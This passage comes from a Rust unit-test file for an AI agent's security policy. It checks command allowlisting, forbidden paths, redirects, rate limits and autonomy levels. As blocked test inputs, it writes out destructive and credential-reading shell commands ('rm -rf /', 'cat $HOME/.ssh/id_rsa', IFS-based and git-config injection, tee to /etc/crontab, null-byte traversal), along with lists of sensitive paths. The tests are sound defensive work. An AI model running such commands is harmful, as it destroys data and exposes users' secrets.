3768 assert!(p.is_command_allowed("cat <<EOF\nhello\nEOF\necho done"));
3770 assert!(!p.is_command_allowed("cat <<EOF\nhello\nEOF\nrm -rf /"));
3772 assert!(p.is_command_allowed("cat <<EOF\nhello world"));
3774 }
3775
3776 #[test]
3777 fn redirect_helper_unit_tests() {
3778 assert!(!contains_unquoted_input_redirect("cat << 'EOF'"));
3779 assert!(!contains_unquoted_input_redirect("cat <<< 'hello'"));
3780 assert!(contains_unquoted_input_redirect("cat < /etc/passwd"));
3781 assert!(!contains_unquoted_input_redirect("echo 'a<b'"));
3782 assert!(!contains_unquoted_input_redirect("cat</dev/null"));
3783 assert!(contains_unquoted_input_redirect("cat</dev/null.secret"));
3785 assert!(contains_unquoted_input_redirect(
3786 "cat </dev/zero/etc/passwd"
3787 ));
3788 assert!(!contains_unsafe_output_redirect("cmd 2>/dev/null"));
3789 assert!(!contains_unsafe_output_redirect("cmd >/dev/null"));
3790 assert!(!contains_unsafe_output_redirect("cmd 1>/dev/null"));
3791 assert!(!contains_unsafe_output_redirect("cmd 2>&1"));
3792 assert!(!contains_unsafe_output_redirect("cmd 1>&2"));
3793 assert!(!contains_unsafe_output_redirect("echo > /dev/stdout"));
3794 assert!(!contains_unsafe_output_redirect("echo > /dev/stderr"));
3795 assert!(!contains_unsafe_output_redirect("echo > /dev/zero"));
3796 assert!(contains_unsafe_output_redirect("echo hi > file.txt"));
3797 assert!(!contains_unsafe_output_redirect("echo 'a>b'"));
3798 assert!(contains_unsafe_output_redirect("ls 2>/dev/stderr.log"));
3801 assert!(contains_unsafe_output_redirect("cat>/dev/zero/path"));
3802 assert!(contains_unsafe_output_redirect("echo>/dev/stdout.bak"));
3803 }
3804
3805 #[test]
3806 fn quoted_ampersand_and_redirect_literals_are_not_treated_as_operators() {
3807 let p = default_policy();
3808 assert!(p.is_command_allowed("echo \"A&B\""));
3809 assert!(p.is_command_allowed("echo \"A>B\""));
3810 assert!(p.is_command_allowed("echo \"A<B\""));
3811 }
3812
3813 #[test]
3814 fn git_dash_c_uppercase_is_allowed() {
3815 let p = default_policy();
3818 assert!(
3819 p.is_command_allowed("git -C /home/user/repo status --short"),
3820 "git -C is benign and should be allowed"
3821 );
3822 assert!(
3823 p.is_command_allowed("git -C /home/user/repo log --oneline -1"),
3824 "git -C with log should be allowed"
3825 );
3826 assert!(
3828 !p.is_command_allowed("git -c core.editor=\"rm -rf /\" commit"),
3829 "git -c must remain blocked"
3830 );
3831 }
3832
3833 #[test]
3834 fn command_argument_injection_blocked() {
3835 let p = default_policy();
3836 assert!(!p.is_command_allowed("find . -exec rm -rf {} +"));
3838 assert!(!p.is_command_allowed("find / -ok cat {} \\;"));
3839 assert!(!p.is_command_allowed("git config core.editor \"rm -rf /\""));
3841 assert!(!p.is_command_allowed("git alias.st status"));
3842 assert!(!p.is_command_allowed("git -c core.editor=calc.exe commit"));
3843 assert!(p.is_command_allowed("find . -name '*.txt'"));
3845 assert!(p.is_command_allowed("git status"));
3846 assert!(p.is_command_allowed("git add ."));
3847 }
3848
3849 #[test]
3850 fn command_injection_dollar_brace_blocked() {
3851 let p = default_policy();
3852 assert!(!p.is_command_allowed("echo ${IFS}cat${IFS}/etc/passwd"));
3853 }
3854
3855 #[test]
3856 fn command_injection_plain_dollar_var_blocked() {
3857 let p = default_policy();
3858 assert!(!p.is_command_allowed("cat $HOME/.ssh/id_rsa"));
3859 assert!(!p.is_command_allowed("cat $SECRET_FILE"));
3860 }
3861
3862 #[test]
3863 fn command_injection_tee_blocked() {
3864 let p = default_policy();
3865 assert!(!p.is_command_allowed("echo secret | tee /etc/crontab"));
3866 assert!(!p.is_command_allowed("ls | /usr/bin/tee outfile"));
3867 assert!(!p.is_command_allowed("tee file.txt"));
3868 }
3869
3870 #[test]
3871 fn command_injection_process_substitution_blocked() {
3872 let p = default_policy();
3873 assert!(!p.is_command_allowed("cat <(echo pwned)"));
3874 assert!(!p.is_command_allowed("ls >(cat /etc/passwd)"));
3875 }
3876
3877 #[test]
3878 fn command_env_var_prefix_with_allowed_cmd() {
3879 let p = default_policy();
3880 assert!(p.is_command_allowed("FOO=bar ls"));
3882 assert!(p.is_command_allowed("LANG=C grep pattern file"));
3883 assert!(!p.is_command_allowed("FOO=bar rm -rf /"));
3885 }
3886
3887 #[test]
3888 fn forbidden_path_argument_detects_absolute_path() {
3889 let p = unix_forbidden_path_policy();
3890 assert_eq!(
3891 p.forbidden_path_argument("cat /etc/passwd"),
3892 Some("/etc/passwd".into())
3893 );
3894 }
3895
3896 #[test]
3897 fn forbidden_path_argument_detects_parent_dir_reference() {
3898 let p = default_policy();
3899 assert_eq!(
3900 p.forbidden_path_argument("cat ../secret.txt"),
3901 Some("../secret.txt".into())
3902 );
3903 assert_eq!(
3904 p.forbidden_path_argument("find .. -name '*.rs'"),
3905 Some("..".into())
3906 );
3907 }
3908
3909 #[test]
3910 fn forbidden_path_argument_allows_workspace_relative_paths() {
3911 let p = default_policy();
3912 assert_eq!(p.forbidden_path_argument("cat src/main.rs"), None);
3913 assert_eq!(p.forbidden_path_argument("grep -r todo ./src"), None);
3914 }
3915
3916 #[test]
3917 fn forbidden_path_argument_detects_option_assignment_paths() {
3918 let p = unix_forbidden_path_policy();
3919 assert_eq!(
3920 p.forbidden_path_argument("grep --file=/etc/passwd root ./src"),
3921 Some("/etc/passwd".into())
3922 );
3923 assert_eq!(
3924 p.forbidden_path_argument("cat --input=../secret.txt"),
3925 Some("../secret.txt".into())
3926 );
3927 }
3928
3929 #[test]
3930 fn forbidden_path_argument_allows_safe_option_assignment_paths() {
3931 let p = default_policy();
3932 assert_eq!(
3933 p.forbidden_path_argument("grep --file=./patterns.txt root ./src"),
3934 None
3935 );
3936 }
3937
3938 #[test]
3939 fn forbidden_path_argument_detects_short_option_attached_paths() {
3940 let p = unix_forbidden_path_policy();
3941 assert_eq!(
3942 p.forbidden_path_argument("grep -f/etc/passwd root ./src"),
3943 Some("/etc/passwd".into())
3944 );
3945 assert_eq!(
3946 p.forbidden_path_argument("git -C../outside status"),
3947 Some("../outside".into())
3948 );
3949 }
3950
3951 #[test]
3952 fn forbidden_path_argument_allows_safe_short_option_attached_paths() {
3953 let p = default_policy();
3954 assert_eq!(
3955 p.forbidden_path_argument("grep -f./patterns.txt root ./src"),
3956 None
3957 );
3958 assert_eq!(p.forbidden_path_argument("git -C./repo status"), None);
3959 }
3960
3961 #[test]
3962 fn forbidden_path_argument_detects_tilde_user_paths() {
3963 let p = default_policy();
3964 assert_eq!(
3965 p.forbidden_path_argument("cat ~root/.ssh/id_rsa"),
3966 Some("~root/.ssh/id_rsa".into())
3967 );
3968 assert_eq!(p.forbidden_path_argument("ls ~nobody"), None);
3972 }
3973
3974 #[test]
3975 fn forbidden_path_argument_ignores_tilde_non_path_and_heredoc_body() {
3976 let p = unix_forbidden_path_policy();
3977
3978 assert_eq!(
3980 p.forbidden_path_argument("echo \"about ~20 percent\""),
3981 None
3982 );
3983 assert_eq!(
3984 p.forbidden_path_argument("python3 -c \"print('about ~589 lines')\""),
3985 None
3986 );
3987 assert_eq!(
3988 p.forbidden_path_argument("printf 'roughly ~foo here\\n'"),
3989 None
3990 );
3991
3992 let heredoc =
3994 "cat <<'EOF' > ./out.txt\nthis line has ~20 percent and /etc/passwd mentioned\nEOF";
3995 assert_eq!(p.forbidden_path_argument(heredoc), None);
3996
3997 assert_eq!(
3999 p.forbidden_path_argument("cat ~/.ssh/id_rsa"),
4000 Some("~/.ssh/id_rsa".into())
4001 );
4002 assert_eq!(
4003 p.forbidden_path_argument("cat ~root/.ssh/id_rsa"),
4004 Some("~root/.ssh/id_rsa".into())
4005 );
4006 assert_eq!(
4007 p.forbidden_path_argument("cat /etc/shadow"),
4008 Some("/etc/shadow".into())
4009 );
4010 assert_eq!(
4013 p.forbidden_path_argument("cat /etc/passwd <<'EOF'\nbody ~20\nEOF"),
4014 Some("/etc/passwd".into())
4015 );
4016 }
4017
4018 #[test]
4019 fn forbidden_path_argument_blocks_path_after_quoted_heredoc_like_text() {
4020 let p = unix_forbidden_path_policy();
4021
4022 assert_eq!(
4028 p.forbidden_path_argument("printf \"<<EOF\nbody\nEOF\" /etc/shadow"),
4029 Some("/etc/shadow".into())
4030 );
4031
4032 assert_eq!(
4034 p.forbidden_path_argument("printf '<<EOF\nbody\nEOF' /etc/passwd"),
4035 Some("/etc/passwd".into())
4036 );
4037 }
4038
4039 #[test]
4040 fn forbidden_path_argument_detects_input_redirection_paths() {
4041 let p = unix_forbidden_path_policy();
4042 assert_eq!(
4043 p.forbidden_path_argument("cat </etc/passwd"),
4044 Some("/etc/passwd".into())
4045 );
4046 assert_eq!(
4047 p.forbidden_path_argument("cat</etc/passwd"),
4048 Some("/etc/passwd".into())
4049 );
4050 }
4051
4052 #[test]
4053 fn forbidden_path_argument_allows_safe_device_redirect_targets() {
4054 let p = unix_forbidden_path_policy();
4055 assert_eq!(p.forbidden_path_argument("ls missing 2>/dev/null"), None);
4056 assert_eq!(p.forbidden_path_argument("ls missing 2> /dev/null"), None);
4057 assert_eq!(p.forbidden_path_argument("echo hi >/dev/stdout"), None);
4058 assert_eq!(p.forbidden_path_argument("echo hi > /dev/stdout"), None);
4059 assert_eq!(p.forbidden_path_argument("echo err 1>/dev/stderr"), None);
4060 assert_eq!(p.forbidden_path_argument("echo err 1> /dev/stderr"), None);
4061 assert_eq!(p.forbidden_path_argument("cat </dev/zero"), None);
4062 assert_eq!(p.forbidden_path_argument("cat < /dev/zero"), None);
4063 #[cfg(not(target_os = "windows"))]
4064 assert_eq!(p.forbidden_path_argument("cat /dev/null"), None);
4065 assert_eq!(p.forbidden_path_argument("cat ./safe.txt>/dev/null"), None);
4066 assert_eq!(p.forbidden_path_argument("cat> /dev/null"), None);
4067 assert_eq!(p.forbidden_path_argument("cat ./safe.txt>&2"), None);
4068 }
4069
4070 #[test]
4071 fn forbidden_path_argument_blocks_unsafe_redirect_targets() {
4072 let p = unix_forbidden_path_policy();
4073 assert_eq!(
4074 p.forbidden_path_argument("echo hi >/etc/passwd"),
4075 Some("/etc/passwd".into())
4076 );
4077 assert_eq!(
4078 p.forbidden_path_argument("echo hi > /etc/passwd"),
4079 Some("/etc/passwd".into())
4080 );
4081 assert_eq!(
4082 p.forbidden_path_argument("echo hi >/dev/stderr.log"),
4083 Some("/dev/stderr.log".into())
4084 );
4085 assert_eq!(
4086 p.forbidden_path_argument("echo hi > /dev/stderr.log"),
4087 Some("/dev/stderr.log".into())
4088 );
4089 assert_eq!(
4090 p.forbidden_path_argument("cat </dev/zero/etc/passwd"),
4091 Some("/dev/zero/etc/passwd".into())
4092 );
4093 assert_eq!(
4094 p.forbidden_path_argument("echo hi >/dev/null/../../etc/passwd"),
4095 Some("/dev/null/../../etc/passwd".into())
4096 );
4097 assert_eq!(
4098 p.forbidden_path_argument("cat</dev/null /etc/passwd"),
4099 Some("/etc/passwd".into())
4100 );
4101 assert_eq!(
4102 p.forbidden_path_argument("cat /etc/passwd>/dev/null"),
4103 Some("/etc/passwd".into())
4104 );
4105 assert_eq!(
4106 p.forbidden_path_argument("cat /etc/passwd> /dev/null"),
4107 Some("/etc/passwd".into())
4108 );
4109 assert_eq!(
4110 p.forbidden_path_argument("cat /etc/passwd>&2"),
4111 Some("/etc/passwd".into())
4112 );
4113 assert_eq!(
4114 p.forbidden_path_argument("grep --file=/etc/passwd>/dev/null root"),
4115 Some("/etc/passwd".into())
4116 );
4117 }
4118
4119 #[test]
4122 fn path_traversal_encoded_dots() {
4123 let p = default_policy();
4124 assert!(!p.is_path_allowed("foo/..%2f..%2fetc/passwd"));
4126 }
4127
4128 #[test]
4129 fn path_traversal_double_dot_in_filename() {
4130 let p = default_policy();
4131 assert!(p.is_path_allowed("my..file.txt"));
4133 assert!(!p.is_path_allowed("../etc/passwd"));
4135 assert!(!p.is_path_allowed("foo/../etc/passwd"));
4136 }
4137
4138 #[test]
4139 fn path_with_null_byte_blocked() {
4140 let p = default_policy();
4141 assert!(!p.is_path_allowed("file\0.txt"));
4142 }
4143
4144 #[test]
4145 fn path_symlink_style_absolute() {
4146 let p = default_policy();
4147 assert!(!p.is_path_allowed(&tp_sys_sub("proc/self/root/etc/passwd")));
4148 }
4149
4150 #[test]
4151 fn path_home_tilde_ssh() {
4152 let p = SecurityPolicy {
4153 workspace_only: false,
4154 ..SecurityPolicy::default()
4155 };
4156 assert!(!p.is_path_allowed("~/.ssh/id_rsa"));
4157 assert!(!p.is_path_allowed("~/.gnupg/secring.gpg"));
4158 assert!(!p.is_path_allowed("~root/.ssh/id_rsa"));
4159 assert!(!p.is_path_allowed("~nobody"));
4160 }
4161
4162 #[test]
4163 fn path_var_run_blocked() {
4164 let p = SecurityPolicy {
4165 workspace_only: false,
4166 ..SecurityPolicy::default()
4167 };
4168 assert!(!p.is_path_allowed(&tp_sys_sub("var/run/docker.sock")));
4169 }
4170
4171 #[test]
4174 fn rate_limit_exactly_at_boundary() {
4175 let p = SecurityPolicy {
4176 max_actions_per_hour: 1,
4177 ..SecurityPolicy::default()
4178 };
4179 assert!(p.record_action()); assert!(!p.record_action()); assert!(!p.record_action()); }
4183
4184 #[test]
4185 fn rate_limit_zero_blocks_everything() {
4186 let p = SecurityPolicy {
4187 max_actions_per_hour: 0,
4188 ..SecurityPolicy::default()
4189 };
4190 assert!(!p.record_action());
4191 }
4192
4193 #[test]
4194 fn rate_limit_high_allows_many() {
4195 let p = SecurityPolicy {
4196 max_actions_per_hour: 10000,
4197 ..SecurityPolicy::default()
4198 };
4199 for _ in 0..100 {
4200 assert!(p.record_action());
4201 }
4202 }
4203
4204 #[test]
4207 fn readonly_blocks_even_safe_commands() {
4208 let p = SecurityPolicy {
4209 autonomy: AutonomyLevel::ReadOnly,
4210 allowed_commands: vec!["ls".into(), "cat".into()],
4211 ..SecurityPolicy::default()
4212 };
4213 assert!(!p.is_command_allowed("ls"));
4214 assert!(!p.is_command_allowed("cat"));
4215 assert!(!p.can_act());
4216 }
4217
4218 #[test]
4219 fn supervised_allows_listed_commands() {
4220 let p = SecurityPolicy {
4221 autonomy: AutonomyLevel::Supervised,
4222 allowed_commands: vec!["git".into()],
4223 ..SecurityPolicy::default()
4224 };
4225 assert!(p.is_command_allowed("git status"));
4226 assert!(!p.is_command_allowed("docker ps"));
4227 }
4228
4229 #[test]
4230 fn full_autonomy_still_respects_forbidden_paths() {
4231 let p = SecurityPolicy {
4232 autonomy: AutonomyLevel::Full,
4233 workspace_only: false,
4234 ..SecurityPolicy::default()
4235 };
4236 assert!(!p.is_path_allowed(&tp_sys_sub("etc/shadow")));
4237 assert!(!p.is_path_allowed(&tp_sys_sub("root/.bashrc")));
4238 }
4239
4240 #[test]
4241 fn workspace_only_false_allows_resolved_outside_workspace() {
4242 let workspace = std::env::temp_dir().join("zeroclaw_test_ws_only_false");
4243 let _ = std::fs::create_dir_all(&workspace);
4244 let canonical_workspace = workspace
4245 .canonicalize()
4246 .unwrap_or_else(|_| workspace.clone());
4247
4248 let p = SecurityPolicy {
4249 workspace_dir: canonical_workspace.clone(),
4250 workspace_only: false,
4251 forbidden_paths: vec!["/etc".into(), "/var".into()],
4252 ..SecurityPolicy::default()
4253 };
4254
4255 let outside = std::env::var_os("HOME")
4257 .map(std::path::PathBuf::from)
4258 .unwrap_or_else(|| PathBuf::from("/home"))
4259 .join("zeroclaw_outside_ws");
4260 assert!(
4261 p.is_resolved_path_allowed(&outside),
4262 "workspace_only=false must allow resolved paths outside workspace"
4263 );
4264
4265 assert!(
4267 !p.is_resolved_path_allowed(Path::new("/etc/passwd")),
4268 "forbidden paths must be blocked even when workspace_only=false"
4269 );
4270 assert!(
4271 !p.is_resolved_path_allowed(Path::new("/var/run/docker.sock")),
4272 "forbidden /var must be blocked even when workspace_only=false"
4273 );
4274
4275 let _ = std::fs::remove_dir_all(&workspace);
4276 }
4277
4278 #[test]
4279 fn workspace_only_true_blocks_resolved_outside_workspace() {
4280 let workspace = std::env::temp_dir().join("zeroclaw_test_ws_only_true");
4281 let _ = std::fs::create_dir_all(&workspace);
4282 let canonical_workspace = workspace
4283 .canonicalize()
4284 .unwrap_or_else(|_| workspace.clone());
4285
4286 let p = SecurityPolicy {
4287 workspace_dir: canonical_workspace.clone(),
4288 workspace_only: true,
4289 ..SecurityPolicy::default()
4290 };
4291
4292 let inside = canonical_workspace.join("subdir");
4294 assert!(
4295 p.is_resolved_path_allowed(&inside),
4296 "path inside workspace must be allowed"
4297 );
4298
4299 let outside = std::env::temp_dir()
4301 .canonicalize()
4302 .unwrap_or_else(|_| std::env::temp_dir())
4303 .join("zeroclaw_outside_ws_true");
4304 assert!(
4305 !p.is_resolved_path_allowed(&outside),
4306 "workspace_only=true must block resolved paths outside workspace"
4307 );
4308
4309 let _ = std::fs::remove_dir_all(&workspace);
4310 }
4311
4312 #[test]
4315 fn readable_includes_posix_device_files() {
4316 let p = SecurityPolicy {
4319 workspace_dir: PathBuf::from("/tmp/zeroclaw-test-ws"),
4320 workspace_only: true,
4321 ..SecurityPolicy::default()
4322 };
4323 for device in ["/dev/null", "/dev/zero", "/dev/random", "/dev/urandom"] {
4324 assert!(
4325 p.is_resolved_path_readable(Path::new(device)),
4326 "POSIX device file {device} must be readable"
4327 );
4328 }
4329 }
4330
4331 #[test]
4332 fn readable_includes_read_only_allowlist_paths() {
4333 let tmp = tempfile::tempdir().unwrap();
4334 let read_only_root = tmp.path().join("docs");
4335 std::fs::create_dir_all(&read_only_root).unwrap();
4336 let inside = read_only_root.join("guide.md");
4337 std::fs::write(&inside, "x").unwrap();
4338
4339 let canonical_inside = inside.canonicalize().unwrap();
4340 let p = SecurityPolicy {
4341 workspace_dir: PathBuf::from("/tmp/elsewhere"),
4342 workspace_only: true,
4343 allowed_roots_read_only: vec![read_only_root.clone()],
4344 ..SecurityPolicy::default()
4345 };
4346 assert!(
4347 p.is_resolved_path_readable(&canonical_inside),
4348 "read-only allowlist entries must be readable"
4349 );
4350 assert!(
4353 !p.is_resolved_path_allowed(&canonical_inside),
4354 "read-only allowlist entries must NOT be writable via is_resolved_path_allowed"
4355 );
4356 }
4357
4358 #[test]
4361 fn for_agent_routes_workspace_access_into_correct_allowlist_tier() {
4362 use crate::multi_agent::{AccessMode, AgentAlias};
4363 use crate::schema::{AliasedAgentConfig, Config, RiskProfileConfig};
4364
4365 let mut cfg = Config {
4366 data_dir: PathBuf::from("/tmp/zeroclaw-for-agent-test"),
4367 config_path: PathBuf::from("/tmp/zeroclaw-for-agent-test/config.toml"),
4368 ..Config::default()
4369 };
4370 cfg.risk_profiles.insert(
4371 "default".into(),
4372 RiskProfileConfig {
4373 workspace_only: true,
4374 ..RiskProfileConfig::default()
4375 },
4376 );
4377
4378 cfg.agents.insert(
4380 "writable_sibling".into(),
4381 AliasedAgentConfig {
4382 risk_profile: "default".into(),
4383 ..AliasedAgentConfig::default()
4384 },
4385 );
4386 cfg.agents.insert(
4387 "readonly_sibling".into(),
4388 AliasedAgentConfig {
4389 risk_profile: "default".into(),
4390 ..AliasedAgentConfig::default()
4391 },
4392 );
4393
4394 let mut test_agent = AliasedAgentConfig {
4396 risk_profile: "default".into(),
4397 ..AliasedAgentConfig::default()
4398 };
4399 test_agent
4400 .workspace
4401 .access
4402 .insert(AgentAlias::from("writable_sibling"), AccessMode::Write);
4403 test_agent
4404 .workspace
4405 .access
4406 .insert(AgentAlias::from("readonly_sibling"), AccessMode::Read);
4407 cfg.agents.insert("test_agent".into(), test_agent);
4408
4409 let policy = SecurityPolicy::for_agent(&cfg, "test_agent").unwrap();
4410
4411 let writable_sibling_dir = cfg.agent_workspace_dir("writable_sibling");
4412 let readonly_sibling_dir = cfg.agent_workspace_dir("readonly_sibling");
4413
4414 assert!(
4415 policy
4416 .allowed_roots_write_only
4417 .contains(&writable_sibling_dir),
4418 "AccessMode::Write must land in allowed_roots_write_only; got {:?}",
4419 policy.allowed_roots_write_only
4420 );
4421 assert!(
4422 !policy.allowed_roots.contains(&writable_sibling_dir),
4423 "AccessMode::Write must NOT land in allowed_roots (read+write tier); got {:?}",
4424 policy.allowed_roots
4425 );
4426 assert!(
4427 policy
4428 .allowed_roots_read_only
4429 .contains(&readonly_sibling_dir),
4430 "AccessMode::Read must land in allowed_roots_read_only; got {:?}",
4431 policy.allowed_roots_read_only
4432 );
4433 assert!(
4434 !policy
4435 .allowed_roots_read_only
4436 .contains(&writable_sibling_dir),
4437 "Write-mode entry must NOT also appear on the read-only list"
4438 );
4439 assert!(
4440 !policy
4441 .allowed_roots_write_only
4442 .contains(&readonly_sibling_dir),
4443 "Read-mode entry must NOT also appear on the write-only list"
4444 );
4445 assert!(
4446 policy.workspace_only,
4447 "unrestricted_filesystem stays default-false → workspace_only stays true"
4448 );
4449 }
4450
4451 #[test]
4452 fn write_only_root_blocks_reads_and_admits_writes() {
4453 let mut policy = SecurityPolicy::default();
4458 let write_only_root =
4459 std::env::temp_dir().join(format!("zeroclaw_wo_root_{}", uuid::Uuid::new_v4()));
4460 std::fs::create_dir_all(&write_only_root).unwrap();
4461 let canonical = write_only_root.canonicalize().unwrap();
4462 policy.allowed_roots_write_only.push(canonical.clone());
4463 policy.workspace_only = false;
4464
4465 let target = canonical.join("write_only_target.txt");
4466 assert!(
4467 policy.is_resolved_path_allowed(&target),
4468 "write-only root must be writable via is_resolved_path_allowed"
4469 );
4470 assert!(
4471 !policy.is_resolved_path_readable(&target),
4472 "write-only root must NOT be readable via is_resolved_path_readable"
4473 );
4474
4475 let _ = std::fs::remove_dir_all(canonical);
4476 }
4477
4478 #[test]
4479 fn for_agent_unrestricted_filesystem_disables_workspace_only() {
4480 use crate::schema::{AliasedAgentConfig, Config, RiskProfileConfig};
4481
4482 let mut cfg = Config {
4483 data_dir: PathBuf::from("/tmp/zeroclaw-for-agent-unrestricted"),
4484 config_path: PathBuf::from("/tmp/zeroclaw-for-agent-unrestricted/config.toml"),
4485 ..Config::default()
4486 };
4487 cfg.risk_profiles.insert(
4488 "default".into(),
4489 RiskProfileConfig {
4490 workspace_only: true,
4491 ..RiskProfileConfig::default()
4492 },
4493 );
4494 let mut test_agent = AliasedAgentConfig {
4495 risk_profile: "default".into(),
4496 ..AliasedAgentConfig::default()
4497 };
4498 test_agent.workspace.unrestricted_filesystem = true;
4499 cfg.agents.insert("test_agent".into(), test_agent);
4500
4501 let policy = SecurityPolicy::for_agent(&cfg, "test_agent").unwrap();
4502
4503 assert!(
4504 !policy.workspace_only,
4505 "unrestricted_filesystem=true must flip workspace_only off at the policy level"
4506 );
4507 }
4508
4509 #[test]
4512 fn from_config_creates_fresh_tracker() {
4513 let risk = crate::schema::RiskProfileConfig {
4514 level: AutonomyLevel::Full,
4515 workspace_only: false,
4516 allowed_commands: vec![],
4517 forbidden_paths: vec![],
4518 require_approval_for_medium_risk: true,
4519 block_high_risk_commands: true,
4520 ..crate::schema::RiskProfileConfig::default()
4521 };
4522 let runtime = crate::schema::RuntimeProfileConfig {
4523 max_actions_per_hour: 10,
4524 max_cost_per_day_cents: 100,
4525 ..crate::schema::RuntimeProfileConfig::default()
4526 };
4527 let workspace = PathBuf::from("/tmp/test");
4528 let policy = SecurityPolicy::from_profiles(&risk, Some(&runtime), &workspace);
4529 assert!(!policy.is_rate_limited());
4530 }
4531
4532 #[test]
4541 fn checklist_root_path_blocked() {
4542 let p = default_policy();
4543 assert!(!p.is_path_allowed(tp_sys()));
4544 assert!(!p.is_path_allowed(&tp_sys_sub("anything")));
4545 }
4546
4547 #[test]
4548 fn checklist_all_system_dirs_blocked() {
4549 let p = SecurityPolicy {
4550 workspace_only: false,
4551 ..SecurityPolicy::default()
4552 };
4553 #[cfg(not(target_os = "windows"))]
4554 {
4555 for dir in ["/etc", "/root", "/proc", "/sys", "/dev", "/var", "/tmp"] {
4556 assert!(
4557 p.forbidden_paths.iter().any(|f| f == dir),
4558 "Default forbidden_paths must include {dir} on Unix"
4559 );
4560 assert!(
4561 !p.is_path_allowed(dir),
4562 "System dir should be blocked: {dir}"
4563 );
4564 }
4565 }
4566 #[cfg(target_os = "windows")]
4567 {
4568 for dir in [
4569 "C:\\Windows",
4570 "C:\\Windows\\System32",
4571 "C:\\Program Files",
4572 "C:\\ProgramData",
4573 ] {
4574 assert!(
4575 p.forbidden_paths.iter().any(|f| f == dir),
4576 "Default forbidden_paths must include {dir} on Windows"
4577 );
4578 assert!(
4579 !p.is_path_allowed(dir),
4580 "System dir should be blocked: {dir}"
4581 );
4582 }
4583 }
4584 for dot in &["~/.ssh", "~/.gnupg", "~/.aws"] {
4585 assert!(
4586 p.forbidden_paths.iter().any(|f| f == dot),
4587 "Default forbidden_paths must include {dot}"
4588 );
4589 assert!(
4590 !p.is_path_allowed(dot),
4591 "Sensitive dotfile dir should be blocked: {dot}"
4592 );
4593 }
4594 }
4595
4596 #[test]
4597 fn checklist_sensitive_dotfiles_blocked() {
4598 let p = SecurityPolicy {
4599 workspace_only: false,
4600 ..SecurityPolicy::default()
4601 };
4602 for path in [
4603 "~/.ssh/id_rsa",
4604 "~/.gnupg/secring.gpg",
4605 "~/.aws/credentials",
4606 "~/.config/secrets",
4607 ] {
4608 assert!(
4609 !p.is_path_allowed(path),
4610 "Sensitive dotfile should be blocked: {path}"
4611 );
4612 }
4613 }
4614
4615 #[test]
4616 fn checklist_null_byte_injection_blocked() {
4617 let p = default_policy();
4618 assert!(!p.is_path_allowed("safe\0/../../../etc/passwd"));
4619 assert!(!p.is_path_allowed("\0"));
4620 assert!(!p.is_path_allowed("file\0"));
4621 }
4622
4623 #[test]
4624 fn checklist_workspace_only_blocks_absolute_outside_workspace() {
4625 let p = SecurityPolicy {
4626 workspace_only: true,
4627 ..SecurityPolicy::default()
4628 };
4629 assert!(!p.is_path_allowed(&tp_sys_sub("any/absolute/path")));
4630 assert!(p.is_path_allowed("relative/path.txt"));
4631 }
4632
4633 #[test]
4634 fn checklist_resolved_path_must_be_in_workspace() {
4635 let p = SecurityPolicy {
4636 workspace_dir: PathBuf::from("/home/user/project"),
4637 ..SecurityPolicy::default()
4638 };
4639 assert!(p.is_resolved_path_allowed(Path::new("/home/user/project/src/main.rs")));
4641 assert!(!p.is_resolved_path_allowed(Path::new("/etc/passwd")));
4643 assert!(!p.is_resolved_path_allowed(Path::new("/home/user/other_project/file")));
4644 assert!(!p.is_resolved_path_allowed(Path::new("/")));
4646 }
4647
4648 #[test]
4649 fn checklist_default_policy_is_workspace_only() {
4650 let p = SecurityPolicy::default();
4651 assert!(
4652 p.workspace_only,
4653 "Default policy must be workspace_only=true"
4654 );
4655 }
4656
4657 #[test]
4658 fn checklist_default_forbidden_paths_comprehensive() {
4659 let p = SecurityPolicy::default();
4660 #[cfg(not(target_os = "windows"))]
4661 {
4662 for dir in ["/etc", "/root", "/proc", "/sys", "/dev", "/var", "/tmp"] {
4663 assert!(
4664 p.forbidden_paths.iter().any(|f| f == dir),
4665 "Default forbidden_paths must include {dir} on Unix"
4666 );
4667 }
4668 }
4669 #[cfg(target_os = "windows")]
4670 {
4671 for dir in [
4672 "C:\\Windows",
4673 "C:\\Windows\\System32",
4674 "C:\\Program Files",
4675 "C:\\ProgramData",
4676 ] {
4677 assert!(
4678 p.forbidden_paths.iter().any(|f| f == dir),
4679 "Default forbidden_paths must include {dir} on Windows"
4680 );
4681 }
4682 }
4683 for dot in &["~/.ssh", "~/.gnupg", "~/.aws", "~/.config"] {
4684 assert!(
4685 p.forbidden_paths.iter().any(|f| f == dot),
4686 "Default forbidden_paths must include {dot}"
4687 );
4688 }
4689 }
4690
4691 #[test]
4694 fn resolved_path_blocks_outside_workspace() {
4695 let workspace = std::env::temp_dir().join("zeroclaw_test_resolved_path");
4696 let _ = std::fs::create_dir_all(&workspace);
4697
4698 let canonical_workspace = workspace
4700 .canonicalize()
4701 .unwrap_or_else(|_| workspace.clone());
4702
4703 let policy = SecurityPolicy {
4704 workspace_dir: canonical_workspace.clone(),
4705 ..SecurityPolicy::default()
4706 };
4707
4708 let inside = canonical_workspace.join("subdir").join("file.txt");
4710 assert!(
4711 policy.is_resolved_path_allowed(&inside),
4712 "path inside workspace should be allowed"
4713 );
4714
4715 let canonical_temp = std::env::temp_dir()
4717 .canonicalize()
4718 .unwrap_or_else(|_| std::env::temp_dir());
4719 let outside = canonical_temp.join("outside_workspace_zeroclaw");
4720 assert!(
4721 !policy.is_resolved_path_allowed(&outside),
4722 "path outside workspace must be blocked"
4723 );
4724
4725 let _ = std::fs::remove_dir_all(&workspace);
4726 }
4727
4728 #[test]
4729 fn resolved_path_blocks_root_escape() {
4730 let policy = SecurityPolicy {
4731 workspace_dir: PathBuf::from("/home/zeroclaw_user/project"),
4732 ..SecurityPolicy::default()
4733 };
4734
4735 assert!(
4736 !policy.is_resolved_path_allowed(Path::new("/etc/passwd")),
4737 "resolved path to /etc/passwd must be blocked"
4738 );
4739 assert!(
4740 !policy.is_resolved_path_allowed(Path::new("/root/.bashrc")),
4741 "resolved path to /root/.bashrc must be blocked"
4742 );
4743 }
4744
4745 #[cfg(unix)]
4746 #[test]
4747 fn resolved_path_blocks_symlink_escape() {
4748 use std::os::unix::fs::symlink;
4749
4750 let root = std::env::temp_dir().join("zeroclaw_test_symlink_escape");
4751 let workspace = root.join("workspace");
4752 let outside = root.join("outside_target");
4753
4754 let _ = std::fs::remove_dir_all(&root);
4755 std::fs::create_dir_all(&workspace).unwrap();
4756 std::fs::create_dir_all(&outside).unwrap();
4757
4758 let link_path = workspace.join("escape_link");
4760 symlink(&outside, &link_path).unwrap();
4761
4762 let policy = SecurityPolicy {
4763 workspace_dir: workspace.clone(),
4764 ..SecurityPolicy::default()
4765 };
4766
4767 let resolved = link_path.canonicalize().unwrap();
4769 assert!(
